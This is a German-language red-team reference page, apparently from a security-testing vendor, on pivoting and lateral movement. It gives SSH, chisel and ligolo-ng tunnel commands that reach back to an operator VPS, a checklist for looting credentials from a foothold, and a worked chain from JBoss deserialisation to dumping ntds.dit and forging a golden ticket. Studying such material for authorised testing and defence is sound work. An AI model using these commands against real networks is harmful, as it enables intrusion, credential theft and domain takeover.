Neu Das Whitepaper zur kontinuierlichen Sicherheitsvalidierung 2026 ist verfügbar. Whitepaper lesen →

Internal Pivoting & Lateral Movement.

Tunnel-Topologien, Port-Forwarding-Muster, der Übergang vom Web-Kompromiss zum internen Foothold und ein durchgespielter JBoss-zu-Domain-Fall.

Tunnel-Topologien — die richtige wählen

  • SOCKS über SSH. ssh -D 1080 user@foothold + proxychains. Standardwahl wenn der Foothold SSH hat und das Netz Outbound 22 zu deinem VPS erlaubt. Latenz okay, Durchsatz okay, eine TCP-Session.
  • chisel. Wenn SSH nicht erreichbar: chisel server -p 8080 --reverse auf deinem VPS, chisel client VPS:8080 R:1080:socks auf dem Foothold. HTTP-/WebSocket-Transport übersteht meiste Egress-Filter.
  • ligolo-ng. Am besten für Double-Pivot und TCP/UDP zugleich. Erstellt ein TUN-Interface auf Operator-Seite — du sprichst mit 10.x.x.x als wärst du auf dem Segment, kein proxychains nötig.
  • Reverse-Port-Forward über SSH. ssh -R 8443:internal-target:443 user@foothold wenn ein einzelner TCP-Service zurück exponiert werden muss. Kleinerer Blast-Radius als ein voller SOCKS-Pivot.

Eine Shell auf instabilem Link halten

  • TCP-Keepalives. ssh -o ServerAliveInterval=60 -o ServerAliveCountMax=3. Erkennt tote Links in ~3 Minuten statt auf den Kernel zu warten.
  • tmux auf dem Foothold. Nach Disconnect reattachen: tmux new -s op erste Session, tmux attach -t op nach Reconnect. Gleiches in Meterpreter via screen.
  • mosh als Fallback. UDP-basiert; übersteht IP-Wechsel (Notebook auf flackerndem Wi-Fi → tethered → zurück). UDP ist oft Egress geblockt, also einkalkulieren, dass es nicht immer geht.
  • autossh für unbeaufsichtigte Links. autossh -M 0 -f -N -R 8443:internal:443 user@foothold mit Keepalives — reconnected innerhalb von Sekunden nach Link-Wiederherstellung.

Web → Internal-Übergang

  1. Web-App-Erreichbarkeit zu Internal bestätigen. http://internal-host aus dem Web-Kontext heraus probieren. Wenn ja → SSRF-style Pivoting ohne Shell nötig.
  2. Foothold-Shell holen. Webshell, Deserialisierungs-Payload, RCE-Kette. In-Memory bevorzugen vor Disk; Named-Pipe vor Socket wenn EDR aktiv.
  3. Persistenten Egress etablieren. chisel Reverse-Mode über 443 (sieht aus wie HTTPS), oder DNS-over-HTTPS für strengstes Egress-Filtering.
  4. Sofort auf Pivot-Tunnel umschalten. Webshell als Primär fallenlassen; auf Tunnel für weitere Arbeit umschalten. Webshells sind laut; Tunnel sind leise.
  5. Foothold einmal looten. /etc/passwd, ~/.ssh/, ~/.aws/, ~/.kube/, Umgebungsvariablen, Recent Shell History, cron, systemd-Timers, .bash_history. Dann weiter.

Durchgespielte Kette — JBoss zu DA

  1. Foothold. JBoss-JMX-Console-Deserialisierung (ysoserial CommonsCollections5) → Shell als jboss auf app01.
  2. Lokales Loot. /opt/jboss/standalone/configuration/ hat DB-Creds in Klartext-XML. /etc/sssd/ zeigt Domain-Join.
  3. SMB-Enumeration. impacket-smbclient mit sssd-gecachten Creds → lesbarer Share auf fileserver01 enthält ein PowerShell-Skript.
  4. Credential im Skript. Hardcodiert $cred = New-Object PSCredential("svc_backup", $pw). svc_backup ist in Backup Operators.
  5. Backup Operators → DC. Backup Operators kann ntds.dit via Shadow Copy lesen. vssadmin create shadow auf DC via WinRM, copy, secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL.
  6. Krbtgt-Hash → Golden Ticket. Domain-Kompromittierung komplett. Pause und White Cell informieren.
FaustregelMaximal zwei Tunnel-Layer, außer du brauchst wirklich drei. Jeder Layer verdoppelt Latenz und verdreifacht die Oberfläche für Operator-Fehler. Wenn du vier Hops verkettet, stoppen und erst einen besseren Foothold suchen.

Von der Referenz zum Befund

Validieren Sie das in Ihrer eigenen Umgebung.